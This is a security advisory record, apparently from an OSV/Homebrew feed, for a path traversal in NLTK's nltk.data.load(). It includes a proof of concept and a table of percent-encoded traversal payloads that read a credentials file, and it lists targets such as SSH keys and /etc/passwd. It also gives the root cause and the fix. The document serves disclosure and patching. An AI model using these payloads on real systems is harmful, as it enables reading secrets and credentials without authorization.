BREW-ACRONYM-CVE-2026-12243 (GHSA-M42H-3232-VPV3)

Vulnerability from osv_homebrew – Published: 2026-08-13 16:34 – Updated: 2026-09-17 18:47 – Source website
VLAI
Summary
nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences
Details

Summary

nltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.

Vulnerable Code

nltk/data.py - find() function: url2pathname() decodes %2e%2e -> .. AFTER any safety check p = os.path.join(path_, url2pathname(resource_name)) if os.path.exists(p): return FileSystemPathPointer(p)

Proof of Concept

import nltk.data nltk.data.path = ["/home/user/nltk_data"] %2e%2e decodes to .. via url2pathname(), escaping the data dir data = nltk.data.load("%2e%2e/SECRET_credentials.txt", format="raw") print(data) b'AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\nDATABASE_PASS=hunter2\n' All of these bypass path checks and decode identically:

Payload After url2pathname()

%2e%2e/secret ../secret .%2e/secret ../secret %2e./secret ../secret %2E%2E/secret ../secret Root Cause url2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.

Fix

Decode before checking:

from urllib.parse import unquote resource_name = unquote(resource_name) # decode first, then validate

Impact

An attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
References
To clipboard 

{
  "affected": [
    {
      "ecosystem_specific": {
        "fix": "bump",
        "range_state": "fixed",
        "resource": "nltk",
        "resource_purl": "pkg:pypi/nltk@3.10.3",
        "upstream_fixed_in": "3.10.0"
      },
      "package": {
        "ecosystem": "Homebrew",
        "name": "acronym",
        "purl": "pkg:brew/acronym"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.0.0_4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "database_specific": {
    "confidence": "high",
    "source": "matched",
    "strategy": "registry",
    "upstream_evidence": [
      {
        "ecosystem": "PyPI",
        "key": "pkg:pypi/nltk@3.10.3",
        "name": "nltk",
        "resource": "nltk",
        "strategy": "registry",
        "subject_version": "3.10.3"
      }
    ]
  },
  "details": "# Summary\nnltk.data.load() and nltk.data.find() resolve user-supplied resource names to filesystem paths using url2pathname(), which decodes percent-encoded sequences (e.g. %2e%2e to ..). Path safety checks are performed on the raw, still-encoded string before decoding occurs. An attacker supplying %2e%2e instead of .. bypasses all path validation and reads arbitrary files outside the NLTK data directory.\n\n# Vulnerable Code\nnltk/data.py - find() function:\n url2pathname() decodes %2e%2e -\u003e .. AFTER any safety check\np = os.path.join(path_, url2pathname(resource_name))\nif os.path.exists(p):\n    return FileSystemPathPointer(p)\n\n# Proof of Concept\nimport nltk.data\nnltk.data.path = [\"/home/user/nltk_data\"]\n%2e%2e decodes to .. via url2pathname(), escaping the data dir\ndata = nltk.data.load(\"%2e%2e/SECRET_credentials.txt\", format=\"raw\")\nprint(data)\n b\u0027AWS_SECRET_KEY=AKIAIOSFODNN7EXAMPLE\\nDATABASE_PASS=hunter2\\n\u0027\nAll of these bypass path checks and decode identically:\n\n# Payload\tAfter url2pathname()\n%2e%2e/secret\t../secret\n.%2e/secret\t../secret\n%2e./secret\t../secret\n%2E%2E/secret\t../secret\nRoot Cause\nurl2pathname() is called after path safety checks, not before. Encoding .. as %2e%2e passes every check, then decodes to a traversal sequence at filesystem access time.\n\n# Fix\nDecode before checking:\n\nfrom urllib.parse import unquote\nresource_name = unquote(resource_name)  # decode first, then validate\n\n# Impact\nAn attacker who controls the resource name passed to nltk.data.load() can read any file the process has permission to access - credentials, environment files, SSH private keys, /etc/passwd, /proc/self/environ, application config files, etc. This affects any application that passes user-controlled input to nltk.data.load() or nltk.data.find().",
  "id": "BREW-acronym-CVE-2026-12243",
  "modified": "2026-09-17T18:47:55Z",
  "published": "2026-08-13T16:34:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/security/advisories/GHSA-m42h-3232-vpv3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-12243"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/issues/3504"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/pull/3522"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nltk/nltk/commit/aec4fce1b84ad725b8975f7365b23a4f626572a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nltk/nltk"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-597.yaml"
    },
    {
      "type": "WEB",
      "url": "https://huntr.com/bounties/39aa9354-54ca-4e77-96da-580eb1fe6ed1"
    },
    {
      "type": "WEB",
      "url": "https://securityinfinity.com/research/path-traversal-in-nltks-nltk-data-load-via-percent-encoded-sequences"
    }
  ],
  "schema_version": "1.7.3",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "nltk: Arbitrary File Read via Path Traversal in nltk.data.load() through Percent-Encoded Sequences",
  "upstream": [
    "GHSA-m42h-3232-vpv3",
    "CVE-2026-12243",
    "PYSEC-2026-597"
  ]
}



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